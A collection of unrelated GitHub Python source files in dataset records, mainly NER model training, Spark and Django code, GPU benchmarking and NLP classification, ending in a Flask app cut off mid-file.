train_without_mmd(args,\n logger, \n tar_train_data,\n tar_test_data,\n ner_label2id,\n tokenizer,\n load_finetune=True,\n dp_num_label=46):\n '''\n Training ner task without MMD\n '''\n saved_model_path = os.path.join(args.checkpoints, \"pytorch_model.bin\")\n ner_num_label=len(ner_label2id)\n model = DADP(args,dp_num_label=dp_num_label,ner_num_label=ner_num_label,device=device).to(device)\n\n if load_finetune and os.path.exists(args.finetune_path):\n #args.filetune_path means the checkpoints of pretrained model on PTB corpus\n logger.info(\"Loading pretrained dp model on PTB from {}\".format(args.finetune_path))\n model_state_dict=torch.load(args.finetune_path,map_location='cpu')\n a,_,b=model_state_dict['ner_biaffne_layer.U'].size()\n model_state_dict['ner_biaffne_layer.U']=torch.FloatTensor(torch.randn((a,ner_num_label,b)))\n load_messages=model.load_state_dict(model_state_dict,strict=False)\n logger.info(str(load_messages))\n #can not load ner_biaffine_layer\n\n model.to(device)\n optimizer = AdamW(params=model.parameters(), lr=args.learning_rate)\n \n num_training_steps=len(tar_train_data)*args.batch_size*args.epoch\n warmup_steps=num_training_steps*args.warmup_proportion\n scheduler = get_linear_schedule_with_warmup(optimizer,num_warmup_steps=warmup_steps,num_training_steps=num_training_steps)\n\n #---loss function---\n ner_span_loss_func = span_loss.Span_loss(ner_num_label,class_weight=[1]+[4]*(ner_num_label-1)).to(device)\n \n global_step=0\n best=0\n training_loss=0.0\n count=0\n for epoch in range(args.epoch):\n model.train()\n model.zero_grad()\n for tar_item in tqdm(tar_train_data,total=len(tar_train_data),unit='batches'):\n global_step+=1\n tar_input_ids, tar_attention_mask, tar_token_type_ids = tar_item[\"input_ids\"], tar_item[\"attention_mask\"], tar_item[\"token_type_ids\"]\n tar_ner_span_label, tar_ner_span_mask = tar_item['span_label'], tar_item[\"span_mask\"]\n tar_dp_span_logits, tar_ner_span_logits, tar_dp_start, tar_dp_end = model( \n input_ids = tar_input_ids.to(device), \n attention_mask = tar_attention_mask.to(device),\n token_type_ids = tar_token_type_ids.to(device),\n )\n ner_loss = ner_span_loss_func(tar_ner_span_logits, tar_ner_span_label.to(device), tar_ner_span_mask.to(device))\n loss=ner_loss.float().mean().type_as(ner_loss)\n training_loss+=loss.item()\n count+=1\n loss.backward()\n #training_loss+=loss.item()\n\n torch.nn.utils.clip_grad_norm_(model.parameters(), max_norm=args.clip_norm)\n optimizer.step()\n scheduler.step()\n optimizer.zero_grad()\n \n model.eval()\n recall,precise,span_f1=evaluate_ner(args=args,\n logger=logger,\n model=model,\n label2id=ner_label2id,\n tokenizer=tokenizer)\n model.train()\n\n logger.info('Evaluating the model...')\n logger.info('epoch %d, loss %.4f, recall %.4f, precise %.4f, span_f1 %.4f'% (epoch,training_loss/count,recall,precise,span_f1))\n training_loss=0.0\n count=0\n \n if best < span_f1:\n best=span_f1\n torch.save(model.state_dict(), f=saved_model_path)\n logger.info('save the best model in {}'.format(saved_model_path))\n\n\n\ndef train(args,\n logger, \n tar_train_data,\n tar_test_data,\n ner_label2id,\n src_train_data,\n tokenizer,\n load_finetune=True,\n dp_num_label=46):\n \n saved_model_path = os.path.join(args.checkpoints, \"pytorch_model.bin\")\n ner_num_label=len(ner_label2id)\n model = DADP(args,dp_num_label=dp_num_label,ner_num_label=ner_num_label,device=device).to(device)\n\n if load_finetune:\n logger.info(\"Loading pretrained dp model from {}\".format(args.finetune_path))\n model_state_dict=torch.load(args.finetune_path,map_location='cpu')\n a,_,b=model_state_dict['ner_biaffne_layer.U'].size()\n model_state_dict['ner_biaffne_layer.U']=torch.FloatTensor(torch.randn((a,ner_num_label,b)))\n load_messages=model.load_state_dict(model_state_dict,strict=False)\n logger.info(str(load_messages))\n #can not load ner_biaffine_layer\n\n model.to(device)\n optimizer = AdamW(params=model.parameters(), lr=args.learning_rate)\n \n num_training_steps=len(tar_train_data)*args.batch_size*args.epoch\n warmup_steps=num_training_steps*args.warmup_proportion\n scheduler = get_linear_schedule_with_warmup(optimizer,num_warmup_steps=warmup_steps,num_training_steps=num_training_steps)\n\n #---loss function---\n ner_span_loss_func = span_loss.Span_loss(ner_num_label,class_weight=[1]+[4]*(ner_num_label-1)).to(device)\n dp_span_loss_func = span_loss.Span_loss(dp_num_label).to(device)\n mmd_loss_func = mmd_loss.MMD_loss().to(device)\n span_acc = metrics.metrics_span().to(device)\n \n global_step=0\n best=0\n training_ner_loss=0.0\n training_dp_loss=0.0\n count=0\n for epoch in range(args.epoch):\n model.train()\n model.zero_grad()\n for src_item,tar_item in tqdm(zip(src_train_data,tar_train_data),total=len(tar_train_data),unit='batches'):\n global_step+=1\n\n src_input_ids, src_attention_mask, src_token_type_ids = src_item[\"input_ids\"], src_item[\"attention_mask\"], src_item[\"token_type_ids\"]\n src_dp_span_label, src_dp_span_mask = src_item['span_label'], src_item[\"span_mask\"]\n src_dp_span_logits, src_ner_span_logits, src_dp_start, src_dp_end = model( \n input_ids = src_input_ids.to(device), \n attention_mask = src_attention_mask.to(device),\n token_type_ids = src_token_type_ids.to(device),\n )\n dp_loss = dp_span_loss_func(src_dp_span_logits, src_dp_span_label.to(device), src_dp_span_mask.to(device))\n dp_loss=dp_loss.float().mean().type_as(dp_loss)\n \n tar_input_ids, tar_attention_mask, tar_token_type_ids = tar_item[\"input_ids\"], tar_item[\"attention_mask\"], tar_item[\"token_type_ids\"]\n tar_ner_span_label, tar_ner_span_mask = tar_item['span_label'], tar_item[\"span_mask\"]\n tar_dp_span_logits, tar_ner_span_logits, tar_dp_start, tar_dp_end = model( \n input_ids = tar_input_ids.to(device), \n attention_mask = tar_attention_mask.to(device),\n token_type_ids = tar_token_type_ids.to(device),\n )\n ner_loss = ner_span_loss_func(tar_ner_span_logits, tar_ner_span_label.to(device), tar_ner_span_mask.to(device))\n ner_loss=ner_loss.float().mean().type_as(ner_loss)\n\n mmd_loss_start = mmd_loss_func(src_dp_start, tar_dp_start, src_attention_mask, tar_attention_mask)\n mmd_loss_end = mmd_loss_func(src_dp_end, tar_dp_end, src_attention_mask, tar_attention_mask)\n \n if epoch < args.dividing_epoch:\n lambda_weight = torch.FloatTensor([args.prev_lambda_weight])\n beta_weight = torch.FloatTensor([args.prev_beta_weight])\n else:\n lambda_weight = torch.FloatTensor([args.last_lambda_weight])\n beta_weight = torch.FloatTensor([args.last_beta_weight])\n \n lambda_weight = lambda_weight.to(\"cuda\")\n beta_weight = beta_weight.to(\"cuda\")\n loss=lambda_weight*(mmd_loss_start+mmd_loss_end + dp_loss) + beta_weight*ner_loss\n training_ner_loss+=ner_loss.item()\n training_dp_loss+= dp_loss.item() \n count+=1\n loss.backward()\n\n torch.nn.utils.clip_grad_norm_(model.parameters(), max_norm=args.clip_norm)\n optimizer.step()\n scheduler.step()\n optimizer.zero_grad()\n\n\n model.eval()\n recall,precise,span_f1=evaluate_ner(args=args,\n logger=logger,\n model=model,\n label2id=ner_label2id,\n tokenizer=tokenizer)\n model.train()\n\n logger.info('Evaluating the model...')\n logger.info('epoch %d, lambda_weight %.2f, beta_weight %.2f, loss(ner) %.4f, loss(dp) %.4f, recall %.4f, precise %.4f, span_f1 %.4f'% (epoch, lambda_weight.item(), beta_weight.item(), training_ner_loss/count,training_dp_loss/count,recall,precise,span_f1))\n training_ner_loss=0.0\n training_dp_loss=0.0\n count=0\n \n if best < span_f1:\n best=span_f1\n torch.save(model.state_dict(), f=saved_model_path)\n logger.info('save the best model in {}'.format(saved_model_path))\n\n\n\ndef evaluate_ner(args,logger, model,label2id,tokenizer):\n id2label={k:v for v,k in label2id.items()}\n ner_num_label=len(label2id)\n sentences,entities=data_conll.load_ner_data(args.ner_test_path)\n print(len(sentences),len(entities))\n print(sentences[0])\n print(entities[0])\n\n examples=[]\n for sentence,entity in tqdm(zip(sentences,entities),total=len(sentences),unit='sentence'):\n assert len(sentence.split(' '))==len(entity)\n example={'sentence':sentence.split(' ')}#,'entity':entity}\n inputs=tokenizer(text=sentence)\n input_ids,attention_mask,token_type_ids = inputs['input_ids'], inputs['attention_mask'], inputs['token_type_ids']\n #example['input_ids']=input_ids\n #example['attention_mask']=attention_mask\n example['wordpiece_sentence']=tokenizer.convert_ids_to_tokens(input_ids)\n span_label,ner_relation=data_conll.get_span_label(sentence,tokenizer,attention_mask,relation=entity,label2id=label2id)\n #example['span_label']=span_label\n example['ner_relation']=ner_relation\n piece_length=len(attention_mask)\n example['piece_length']=piece_length\n with torch.no_grad():\n input_ids=torch.LongTensor([input_ids])\n attention_mask=torch.LongTensor([attention_mask])\n token_type_ids=torch.LongTensor([token_type_ids])\n dp_span_logits, ner_span_logits, dp_start, dp_end = model( \n input_ids=input_ids.to(device), \n attention_mask=attention_mask.to(device),\n token_type_ids=token_type_ids.to(device),\n ) \n #ner_span_logits=ner_span_logits[0]\n ner_span_logits=torch.nn.functional.softmax(ner_span_logits[0],dim=-1)\n assert ner_span_logits.size()==(piece_length,piece_length,ner_num_label)\n predict_ids=torch.argmax(ner_span_logits,dim=-1)\n assert predict_ids.size()==(piece_length,piece_length)\n predict_ids=predict_ids.cpu().tolist()\n example['predict_span']=[]\n tmp_records={}\n for start_id in range(1,piece_length-1):\n for end_id in range(start_id,piece_length-1):\n if predict_ids[start_id][end_id]!=0:\n example['predict_span'].append((start_id,\n end_id,\n id2label[predict_ids[start_id][end_id]],\n float(ner_span_logits[start_id,end_id,predict_ids[start_id][end_id]])))\n \n examples.append(example)\n\n\n number_span_right=0\n number_span_wrong=0\n number_span_totoal=0\n\n for example in examples:\n predict_span=example['predict_span']\n ner_relation=example['ner_relation']\n new_predict_span = []\n \n #ruling \n predict_span = sorted(predict_span, key=lambda x:x[3], reverse=True)\n pos=set()\n for s, e, c, score in predict_span:\n #if intersection\n is_set = False\n for (ds,de) in pos:\n if s <= de and s >= ds:\n is_set = True\n elif e >= ds and e <= de:\n is_set = True\n if not is_set:\n pos.add((s,e))\n new_predict_span.append([s,e,c]) \n \n #recall\n number_span_totoal += len(ner_relation)\n \n #precision\n for each in new_predict_span:\n if each in ner_relation:\n number_span_right += 1\n else:\n number_span_wrong += 1\n\n recall=number_span_right/number_span_totoal\n precision=number_span_right/(number_span_right+number_span_wrong)\n f1=2*precision*recall/(precision+recall) if (precision+recall != 0) else 0\n #logger.info('recall : {}, precision : {}, f1 : {}'.format(recall,precision,f1))\n return recall,precision,f1\n\ndef main(args, logger):\n\n tokenizer=tools.get_tokenizer(bert_model_path=args.pretrained_model_path)\n ner_label2id=tools.generate_label2id(file_path=args.ner_train_path)\n ner_label2id=tools.process_nerlabel(label2id=ner_label2id)\n logger.info(\"Ner label2id : {}\".format(json.dumps(ner_label2id)))\n\n tar_train_data = data_conll.yield_data(args=args,\n file_path=args.ner_train_path, \n tokenizer=tokenizer, \n mode='ner', \n label2id=ner_label2id) #ner_train -> whole span, sub span, non span \n tar_test_data = data_conll.yield_data(args=args,\n file_path=args.ner_test_path, \n tokenizer=tokenizer, \n mode='ner', \n label2id=ner_label2id, \n is_training=False) #ner_test -> whole span, non span\n\n dp_label2id,dp_id2label,dp_num_label=tools.load_schema_dp()\n dp_num_label+=1\n \n src_train_data = data_conll.yield_data(args, args.dp_train_path, tokenizer, 'dp',label2id=dp_label2id,limit=len(tar_train_data)*args.batch_size)\n assert len(src_train_data)==len(tar_train_data)\n train(args=args, logger=logger,\n tar_train_data=tar_train_data,\n tar_test_data=tar_test_data,\n ner_label2id=ner_label2id,\n src_train_data=src_train_data,\n tokenizer=tokenizer,\n load_finetune=args.load_finetune,\n dp_num_label=dp_num_label)\n\n# train_without_mmd(args=args, logger=logger,\n# tar_train_data=tar_train_data,\n# tar_test_data=tar_test_data,\n# ner_label2id=ner_label2id,\n# tokenizer=tokenizer,\n# load_finetune=args.load_finetune,\n# dp_num_label=dp_num_label)\n\n\nif __name__==\"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--dp_train_path\", type=str, default=\"data/ontonotes5/train.gold.conllu\",help=\"train file\")\n parser.add_argument(\"--ner_train_path\", type=str, default=\"data/W-NUT17/train_prepro_url.txt\",help=\"train file\")\n parser.add_argument(\"--ner_test_path\", type=str, default=\"data/W-NUT17/test_prepro_url.txt\",help=\"test file\")\n parser.add_argument(\"--checkpoints\", type=str, default=\"W-NUT/pytorch_model.bin\",help=\"output_dir\")\n parser.add_argument(\"--batch_size\", type=int, default=32,help=\"batch_size\")\n parser.add_argument(\"--lstm_hidden_size\", type=int, default=512,help=\"lstm_hidden_size\")\n parser.add_argument(\"--to_biaffine_size\", type=int, default=128,help=\"to_biaffine_size\")\n parser.add_argument(\"--max_length\", type=int, default=196,help=\"max_length\")\n parser.add_argument(\"--epoch\", type=int, default=100,help=\"epoch\")\n parser.add_argument(\"--learning_rate\", type=float, default=5e-5,help=\"learning_rate\")\n parser.add_argument(\"--finetune_path\", type=str, default=\"pretrain_on_dp/pytorch_model.bin\",help=\"output_dir\")\n parser.add_argument(\"--pretrained_model_path\", type=str, default=\"bert-large-uncased-whole-word-masking\",help=\"pretrained_model_path\")\n parser.add_argument(\"--clip_norm\", type=float, default=1,help=\"clip_norm\")\n parser.add_argument(\"--warmup_proportion\", type=float, default=0.08,help=\"warmup proportion\")\n parser.add_argument(\"--num_workers\", type=int, default=8,help='num_workers')\n parser.add_argument(\"--dataset_name\", type = str, required=True, help=\"dataset name\")\n parser.add_argument(\"--num_insert_symbols\", type=int, default=0)\n parser.add_argument(\"--load_finetune\", action=\"store_true\")\n parser.add_argument(\"--dividing_epoch\", type=int, default=0)\n parser.add_argument(\"--prev_lambda_weight\", type=float, default=1)\n parser.add_argument(\"--prev_beta_weight\", type=float, default=0.1)\n parser.add_argument(\"--last_lambda_weight\", type=float, default=0.1)\n parser.add_argument(\"--last_beta_weight\", type=float, default=1)\n\n args = parser.parse_args()\n os.makedirs(args.checkpoints, exist_ok=True)\n \n logger = init_logger(\"main\", log_file_name='{}/ner-{}-log.txt'.format(args.checkpoints, args.dataset_name))\n for k,v in args.__dict__.items():\n logger.info(\"{} : {}\".format(str(k),str(v)))\n \n try:\n main(args, logger)\n except Exception as e:\n print(e)\n logger.exception(e)\n","repo_name":"xianghuisun/DADP","sub_path":"run_ner.py","file_name":"run_ner.py","file_ext":"py","file_size_in_byte":18121,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"16905126719","text":"from rest_framework import serializers\n\nfrom app.common.serializers import BaseModelSerializer\nfrom app.gallery.models.album import Album\nfrom app.gallery.models.picture import Picture\n\n\nclass ListPictureSerializer(serializers.ListSerializer):\n def create(self, validated_data):\n id = self.context[\"id\"]\n album = Album.objects.get(id=id)\n\n pictures = [Picture(album=album, **data) for data in validated_data]\n return Picture.objects.bulk_create(pictures)\n\n\nclass PictureSerializer(BaseModelSerializer):\n class Meta:\n model = Picture\n list_serializer_class = ListPictureSerializer\n fields = (\n \"id\",\n \"image\",\n \"title\",\n \"image_alt\",\n \"description\",\n \"created_at\",\n \"updated_at\",\n )\n","repo_name":"TIHLDE/Lepton","sub_path":"app/gallery/serializers/picture.py","file_name":"picture.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"75"} +{"seq_id":"35190888678","text":"import os\nimport sys\nimport findspark\nimport time\nfrom pyspark import SparkConf, SparkContext\nfrom pyspark.sql import SparkSession\nimport uuid\nfindspark.init()\n\nspark = (\n SparkSession\n .builder\n .appName(\"ClusterPrj\")\n .enableHiveSupport()\n .getOrCreate()\n)\n\nusage_df = spark.read.csv(\"C:\\SymCache\\Data\\customer_usage_00004.csv\", header=True)\ncn=usage_df.count()\nln=len(usage_df.columns)\nprint(usage_df.columns)\n#sitie keliai turetu atsidurti json faile.Siuo metu nezinome varianto, tai kai jis atsiras \n\nchurn_df = spark.read.csv(\"C:\\SymCache\\Data\\customer_churn_00004.csv\", header=True)\nchr_cnt=churn_df.count()\nprint(churn_df.columns)\n#Bandymas sugeneruoti faila\nchurn_sample_df = churn_df.sample(False, 0.1, seed=111111)\nprint(churn_sample_df.count())\nchurn_sample_df.createOrReplaceTempView(\"churn_sample\")\nusage_df.createOrReplaceTempView(\"usage_full\")\nquery = \"\"\"\nSELECT usage_full.*\nFROM churn_sample\nJOIN usage_full ON usage_full.user_account_id = churn_sample.user_account_id\n\"\"\"\nusage_churn_sample_df = spark.sql(query)\nprint(usage_churn_sample_df.columns == usage_df.columns)\nprint(usage_churn_sample_df.count())\nsample_uuid = uuid.uuid4()\ndir_output=\"C:/SymCache/Data/\"\npath_tmp_output_usage = os.path.join(\n dir_output,\n \"tmp_usage_sample_{}\".format(sample_uuid))\npath_tmp_output_churn = os.path.join(\n dir_output,\n \"tmp_churn_sample_{}\".format(sample_uuid))\n# kadangi gavosi kataloge 4 usage failai tai noredamas issaugot i viena panaudojau tokia funkcija\nusage_churn_sample_df.coalesce(1).write.csv(path_tmp_output_usage,header='true')\nchurn_sample_df.coalesce(1).write.csv(path_tmp_output_churn,header='true')\nspark.stop()\n","repo_name":"anatolijusn/Python_project","sub_path":"script/churn_sampling.py","file_name":"churn_sampling.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27698695150","text":"from django.db import models\n\nfrom kitsune.sumo.models import ModelBase\nfrom kitsune.wiki.models import Document\n\n\nclass Signature(ModelBase):\n signature = models.CharField(max_length=255, db_index=True, unique=True)\n document = models.ForeignKey(Document)\n\n def __unicode__(self):\n return u'<%s> %s' % (self.signature, self.document.title)\n\n def get_absolute_url(self):\n doc = self.document.get_absolute_url().lstrip('/')\n _, _, url = doc.partition('/')\n return u'/' + url\n","repo_name":"feer56/Kitsune1","sub_path":"kitsune/postcrash/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"22857343511","text":"import torch\nfrom timeit import default_timer as timer\nimport sys\n\nfrom utils.utils import print_memory_statistics\nfrom weensembles.utils import gen_probs_one_source, cuda_mem_try\nfrom weensembles.CouplingMethods import coup_picker\n\n\ndef test_transfer():\n print(\"Performing transfer test\")\n size = (100, 100)\n number = 10000\n dev = torch.device(\"cuda\")\n dtp = torch.float64\n\n print(\"Warming up cuda\")\n m = torch.tensor([2, 5, 1]).cuda()\n n = torch.tensor([7.3, 5, -1.325879]).cuda()\n a = m + n\n\n print(\"Testing to() method\")\n start_to = timer()\n for i in range(number):\n t = torch.rand(size).to(device=dev, dtype=dtp)\n end_to = timer()\n print(\"Method to() finished in {} s\".format(end_to - start_to))\n\n print(\"Testing cuda() method\")\n start_cuda = timer()\n for i in range(number):\n t = torch.rand(size).to(dtype=dtp).cuda()\n end_cuda = timer()\n print(\"Method cuda() finished in {} s\".format(end_cuda - start_cuda))\n\n print(\"Testing direct method\")\n start_dir = timer()\n for i in range(number):\n t = torch.rand(size, device=dev, dtype=dtp)\n end_dir = timer()\n print(\"Method direct finished in {} s\".format(end_dir - start_dir))\n\n\ndef test_thresholding():\n print(\"Performing thresholding test\")\n size = (10000, 100, 100)\n number = 1\n dev = torch.device(\"cuda\")\n dtp = torch.float64\n\n print(\"Warming up cuda\")\n m = torch.tensor([2, 5, 1]).cuda()\n n = torch.tensor([7.3, 5, -1.325879]).cuda()\n a = m + n\n\n del m, n, a\n\n torch.cuda.empty_cache()\n torch.cuda.reset_peak_memory_stats()\n\n eps = 1e-3\n rnd_t = torch.rand(number, *size, device=dev, dtype=dtp)\n\n print(\"Testing mask approach\")\n start = timer()\n print_memory_statistics()\n for i in range(number):\n cpy = rnd_t[i]\n cpy[cpy <= eps] = eps\n cpy[cpy >= (1 - eps)] = (1 - eps)\n del cpy\n print_memory_statistics()\n end = timer()\n print(\"Test finished in {}s\".format(end - start))\n\n torch.cuda.empty_cache()\n torch.cuda.reset_peak_memory_stats()\n\n print(\"Testing min/max approach\")\n start = timer()\n print_memory_statistics()\n for i in range(number):\n cpy = rnd_t[i]\n cpy = torch.max(cpy, torch.tensor([eps], device=dev, dtype=dtp))\n cpy = torch.min(cpy, torch.tensor([1 - eps], device=dev, dtype=dtp))\n del cpy\n print_memory_statistics()\n end = timer()\n print(\"Test finished in {}s\".format(end - start))\n\n\ndef batched_coupling(coup_m, input, batch_size, device, verbosity):\n out = []\n for bs in range(0, input.shape[0], batch_size):\n cur_inp = input[bs : bs + batch_size].to(device)\n out.append(coup_m(cur_inp, verbose=verbosity).cpu())\n \n return torch.cat(out, dim=0)\n\ndef test_coupling(classes=100, sampl_per_class=50, device=\"cuda\", coupling_methods=[\"m1\", \"m2\", \"bc\"], verbosity=0):\n print(\"Generating data\")\n samples = classes * sampl_per_class\n p = torch.randn(size=(samples, classes), device=\"cpu\")\n p = p.unsqueeze(2).expand(samples, classes, classes)\n R = p - p.transpose(1, 2)\n \n # Warmup\n c = torch.mm(torch.rand(size=(1000, 500), device=device), torch.rand(size=(500, 2000), device=device))\n \n for cp_m in coupling_methods:\n print(\"Testing coupling method {}\".format(cp_m))\n print_memory_statistics()\n coup_method = coup_picker(cp_m)\n with torch.profiler.profile(\n activities=[\n torch.profiler.ProfilerActivity.CPU,\n torch.profiler.ProfilerActivity.CUDA\n ]\n ) as p:\n out = cuda_mem_try(\n fun=lambda bsz: batched_coupling(coup_m=coup_method, input=R, batch_size=bsz, device=device, verbosity=verbosity),\n start_bsz=samples,\n device=device,\n dec_coef=0.8,\n verbose=verbosity\n )\n \n print(p.key_averages().table(\n sort_by=\"self_cuda_time_total\", row_limit=-1\n ))\n del out\n print_memory_statistics()\n \n\nif __name__ == \"__main__\":\n if len(sys.argv) != 2:\n print(\"Argument is number of test:\\n\\t1 for transfer test\\n\\t2 for thresholding\")\n\n if sys.argv[1] == '1':\n test_transfer()\n elif sys.argv[1] == '2':\n test_thresholding()\n","repo_name":"ReneFabricius/cifar_ens_2021","sub_path":"speed_test.py","file_name":"speed_test.py","file_ext":"py","file_size_in_byte":4343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"25043194551","text":"def extract(code):\n output = \"\"\n for c in code:\n if c in \"CBDFGHJKLMNPQRSTVWXZ\":\n code += \"consonant-up \"\n elif c in \"CBDFGHJKLMNPQRSTVWXZ\".lower():\n code += \"consonant-low \"\n elif c in \"AEIOUY\":\n code += \"vowel-up \"\n elif c in \"aeiouy\":\n code += \"vowel-low \"\n elif c in \"0123456789\":\n code += \"number \" \n \n return code\n\nprint(extract(\"A12t\"))","repo_name":"thetheos/BAC1INFO1","sub_path":"mission4/QAnonymus (conflicted).py","file_name":"QAnonymus (conflicted).py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"10441984840","text":"# Working with Dictionaries\r\n# https://www.codewars.com/kata/5639302a802494696d000077/train/python\r\n\r\n# 나의 풀이\r\nfrom preloaded import A001055 # to remember you the name of the database\r\n\r\ndef inf_database(range_, str_, val):\r\n tmp = []\r\n if str_ == \"equals to\":\r\n tmp = [i for i in range(range_[0], range_[1]+1) if A001055[i] == val]\r\n elif str_ == \"higher than\":\r\n tmp = [i for i in range(range_[0], range_[1]+1) if A001055[i] > val]\r\n elif str_ == \"lower than\":\r\n tmp = [i for i in range(range_[0], range_[1]+1) if A001055[i] < val]\r\n elif str_ == \"higher and equals to\":\r\n tmp = [i for i in range(range_[0], range_[1]+1) if A001055[i] >= val]\r\n elif str_ == \"lower and equals to\":\r\n tmp = [i for i in range(range_[0], range_[1]+1) if A001055[i] <= val]\r\n else:\r\n return 'wrong constraint'\r\n return (len(tmp), tmp)\r\n\r\n# 다른 사람의 풀이\r\nimport operator\r\ndef inf_database1(range_, str_, val):\r\n ops = {\"higher than\": operator.gt, \"lower than\": operator.lt, \"equals to\": operator.eq,\r\n \"higher and equals to\": operator.ge, \"lower and equals to\": operator.le}\r\n if str_ not in ops:\r\n return \"wrong constraint\"\r\n\r\n result = [i for i in range(range_[0], range_[-1] + 1) if ops[str_](A001055[i], val)]\r\n return (len(result), result)","repo_name":"whyj107/CodeWar","sub_path":"20230713_Working with Dictionaries.py","file_name":"20230713_Working with Dictionaries.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5836651043","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nfrom sklearn.datasets import fetch_20newsgroups\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.feature_extraction.text import CountVectorizer\n\n\n# In[2]:\n\n\ndict_cat = {'talk.religion.misc': 'Religious Content', 'rec.autos': 'Automobile and Transport','rec.sport.hockey':'Sport: Hockey','sci.electronics':'Content: Electronics', 'sci.space': 'Content: Space'}\n\n\n# In[3]:\n\n\ndata_train = fetch_20newsgroups(subset='train', categories = dict_cat.keys(), shuffle=True, random_state=3)\n\n\n# In[4]:\n\n\ncv_vector = CountVectorizer()\ndata_train_fit = cv_vector.fit_transform(data_train.data)\nprint(\"\\nTraining Data Dimensions:\", data_train_fit.shape)\n\n\n# In[5]:\n\n\ntfidf_transformer = TfidfTransformer()\ntrain_tfidf_transformer = tfidf_transformer.fit_transform(data_train_fit)\n\n\n# In[6]:\n\n\nsample_input_data = [\n'The Apollo Series were a bunch of space shuttles',\n'Islamism, Hinduism, Christianity, Sikhism are all major religions of the world',\n'It is a necessity to drive safely',\n'Gloves are made of rubber',\n'Gadgets like TV, Refrigerator and Grinders, all use electricity'\n]\n\n\n# In[7]:\n\n\ninput_classifier = MultinomialNB().fit(train_tfidf_transformer, data_train.target)\ninput_cv = cv_vector.transform(sample_input_data)\ntfidf_input = tfidf_transformer.transform(input_cv)\npredictions_sample = input_classifier.predict(tfidf_input)\n\n\n# In[8]:\n\n\nfor inp, cat in zip(sample_input_data, predictions_sample):\n print('\\nInput Data:', inp, '\\n Category:', dict_cat[data_train.target_names[cat]])\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"rjrahul24/ai-with-python-series","sub_path":"09. NLP, Bag of Words and Sentiment Analysis/Category Prediction.py","file_name":"Category Prediction.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":68,"dataset":"github-code","pt":"75"} +{"seq_id":"20274994706","text":"import os\nimport sqlite3\n\nimport click\nimport pandas as pd\n\nfrom common import get_log\nfrom sql import add_pk_to_sqlite_table\n\nlog = get_log(__file__)\n\n\ndef ingest(infiles, table, outfile):\n \"\"\"Converts ingests records into SQLite\"\"\"\n\n log.info(f\"Ingesting {infiles} into {outfile}:{table}\")\n\n if os.path.exists(outfile):\n os.remove(outfile)\n\n con = sqlite3.connect(outfile)\n df = pd.concat([pd.read_json(f, lines=True) for f in infiles])\n\n df.to_sql(table, con, index=False)\n add_pk_to_sqlite_table(tablename=\"expenses\", index_column=\"pk\", connection=con)\n\n\n@click.command()\n@click.argument(\"infiles\", type=str, nargs=-1)\n@click.argument(\"table\", type=str)\n@click.argument(\"outfile\", type=str)\ndef _ingest(infiles, table, outfile):\n ingest(infiles, table, outfile)\n\n\nif __name__ == \"__main__\":\n _ingest()\n","repo_name":"velicanu/expenses","sub_path":"src/ingest.py","file_name":"ingest.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"2158613968","text":"from django.test import TestCase\nfrom .forms import PaperForm\nfrom paper.models import Author\n\n# Тестовые данные\nauthors = Author.objects.all()\nvalid_data = {\n \"code\": \"КП 081/20\",\n \"title\": \"Холодно в лесу\",\n \"subtitle\": \"Как я замерз в лесу\",\n \"year_start\": 1930,\n \"url\": \"https://example.com\",\n \"authors\": [authors[0].pk],\n}\n\n\n# Create your tests here.\nclass PaperFormTest(TestCase):\n fixtures = [\"paper/fixtures/authors.json\"]\n\n def test_valid_form(self):\n data = valid_data.copy()\n form = PaperForm(data)\n if not form.is_valid():\n print(form.errors)\n self.assertTrue(form.is_valid())\n\n def test_invalid_form_missing_fields(self):\n data = valid_data.copy()\n data.pop(\"code\")\n form = PaperForm(data)\n self.assertFalse(form.is_valid())\n\n def test_save_form(self):\n data = valid_data.copy()\n form = PaperForm(data)\n if not form.is_valid():\n print(form.errors)\n paper = form.save()\n self.assertEqual(paper.code, data[\"code\"])\n","repo_name":"dedmamn/python","sub_path":"betelgeuse/paper/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71061705202","text":"import datetime\nimport json\n\nfrom hubarcode.datamatrix import DataMatrixEncoder\nimport requests\nfrom requests.adapters import HTTPAdapter\nfrom requests.packages.urllib3.util.retry import Retry\nfrom flask import render_template, redirect, request, flash, url_for\nfrom app import app, db\nfrom app.forms import LoginForm, RegistrationForm, MedicineForm, BatchForm\nfrom flask_login import current_user, login_user, login_required, logout_user\nfrom app.models import Actor, Medicine, Adress, Batch\nfrom pylibdmtx.pylibdmtx import decode\nfrom werkzeug import secure_filename\nfrom PIL import Image\n\nfrom sqlalchemy.exc import IntegrityError\n\n# The node with which our application interacts, there can be multiple nodes.\nCONNECTED_NODE_ADDRESS = \"http://127.0.0.1:8000/\"\n\nerrors =[]\nmanufacturer = True\n\n@app.errorhandler(404)\ndef not_found_error(error):\n return render_template('404.html'), 404\n\n@app.route('/update_connected_node_address/
